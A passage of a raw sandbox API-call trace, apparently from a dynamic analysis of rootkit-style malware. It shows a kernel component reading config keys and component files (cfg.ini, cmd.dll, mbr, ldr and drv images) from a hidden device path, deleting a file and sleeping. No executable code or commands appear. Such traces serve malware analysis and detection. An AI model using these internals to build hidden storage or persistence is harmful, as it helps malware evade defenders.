(P=0xfffffa8003bfcc00, Tag=0x0) [0127.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.771] KeLeaveCriticalRegion () [0127.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.771] ReleaseMutex (hMutex=0xf0) returned 1 [0127.771] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.771] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.771] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.771] KeEnterCriticalRegion () [0127.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.771] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.771] IdePortDispatch () returned 0x103 [0127.771] KeWaitForMutexObject () returned 0x0 [0127.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.771] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.771] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.771] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.771] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.771] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc4b0 [0127.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.771] KeLeaveCriticalRegion () [0127.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.771] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.771] KeEnterCriticalRegion () [0127.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.772] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.772] KeLeaveCriticalRegion () [0127.772] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.772] KeEnterCriticalRegion () [0127.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.772] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.772] IdePortDispatch () returned 0x103 [0127.772] KeWaitForMutexObject () returned 0x0 [0127.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.772] KeLeaveCriticalRegion () [0127.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.772] KeEnterCriticalRegion () [0127.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c44000 [0127.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.772] IdePortDispatch () returned 0x103 [0127.772] KeWaitForMutexObject () returned 0x0 [0127.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.773] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.773] IdePortDispatch () returned 0x103 [0127.773] KeWaitForMutexObject () returned 0x0 [0127.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.773] KeLeaveCriticalRegion () [0127.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.773] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.773] KeEnterCriticalRegion () [0127.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.773] KeLeaveCriticalRegion () [0127.773] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.773] KeEnterCriticalRegion () [0127.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.773] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.773] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.774] KeLeaveCriticalRegion () [0127.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.774] KeEnterCriticalRegion () [0127.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.774] ExFreePoolWithTag (P=0xfffffa8003bfc4b0, Tag=0x0) [0127.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.774] KeLeaveCriticalRegion () [0127.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.774] ReleaseMutex (hMutex=0xf0) returned 1 [0127.774] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.774] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.774] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.774] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.774] KeEnterCriticalRegion () [0127.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.774] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.774] IdePortDispatch () returned 0x103 [0127.774] KeWaitForMutexObject () returned 0x0 [0127.774] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.774] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.774] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.774] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.774] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.774] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.774] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.774] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.774] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.774] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.775] KeLeaveCriticalRegion () [0127.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.775] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.775] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.775] KeEnterCriticalRegion () [0127.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.775] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.775] IdePortDispatch () returned 0x103 [0127.775] KeWaitForMutexObject () returned 0x0 [0127.775] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.775] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.775] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.775] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.775] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.775] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.775] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.775] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.775] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.775] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.775] KeLeaveCriticalRegion () [0127.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.775] ReleaseMutex (hMutex=0x100) returned 1 [0127.775] Sleep (dwMilliseconds=0x2bf20) [0127.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f5bb670, dwHighDateTime=0x1d24fa4)) [0127.782] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.782] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.782] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.782] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.782] KeEnterCriticalRegion () [0127.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.782] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.782] IdePortDispatch () returned 0x103 [0127.782] KeWaitForMutexObject () returned 0x0 [0127.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.782] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.782] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.782] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.782] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.782] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.782] KeLeaveCriticalRegion () [0127.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.782] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.782] KeEnterCriticalRegion () [0127.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.783] KeLeaveCriticalRegion () [0127.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.783] KeEnterCriticalRegion () [0127.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.783] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.783] IdePortDispatch () returned 0x103 [0127.783] KeWaitForMutexObject () returned 0x0 [0127.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.783] KeLeaveCriticalRegion () [0127.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.783] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.783] KeEnterCriticalRegion () [0127.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.783] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c47000 [0127.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.783] IdePortDispatch () returned 0x103 [0127.783] KeWaitForMutexObject () returned 0x0 [0127.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.783] IdePortDispatch () returned 0x103 [0127.784] KeWaitForMutexObject () returned 0x0 [0127.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.784] KeLeaveCriticalRegion () [0127.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.784] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.784] KeEnterCriticalRegion () [0127.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.784] KeLeaveCriticalRegion () [0127.784] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.784] KeEnterCriticalRegion () [0127.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.784] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.784] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.784] KeLeaveCriticalRegion () [0127.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.785] KeEnterCriticalRegion () [0127.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.785] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.785] KeLeaveCriticalRegion () [0127.785] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.785] ReleaseMutex (hMutex=0xf0) returned 1 [0127.785] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.785] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.785] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.785] KeEnterCriticalRegion () [0127.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.785] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.785] IdePortDispatch () returned 0x103 [0127.785] KeWaitForMutexObject () returned 0x0 [0127.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.785] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.785] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.785] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.785] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.785] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.785] KeLeaveCriticalRegion () [0127.785] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.785] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.785] KeEnterCriticalRegion () [0127.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.785] KeLeaveCriticalRegion () [0127.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.785] KeEnterCriticalRegion () [0127.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.786] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.786] IdePortDispatch () returned 0x103 [0127.786] KeWaitForMutexObject () returned 0x0 [0127.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.786] KeLeaveCriticalRegion () [0127.786] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.786] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.786] KeEnterCriticalRegion () [0127.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.786] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c48000 [0127.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 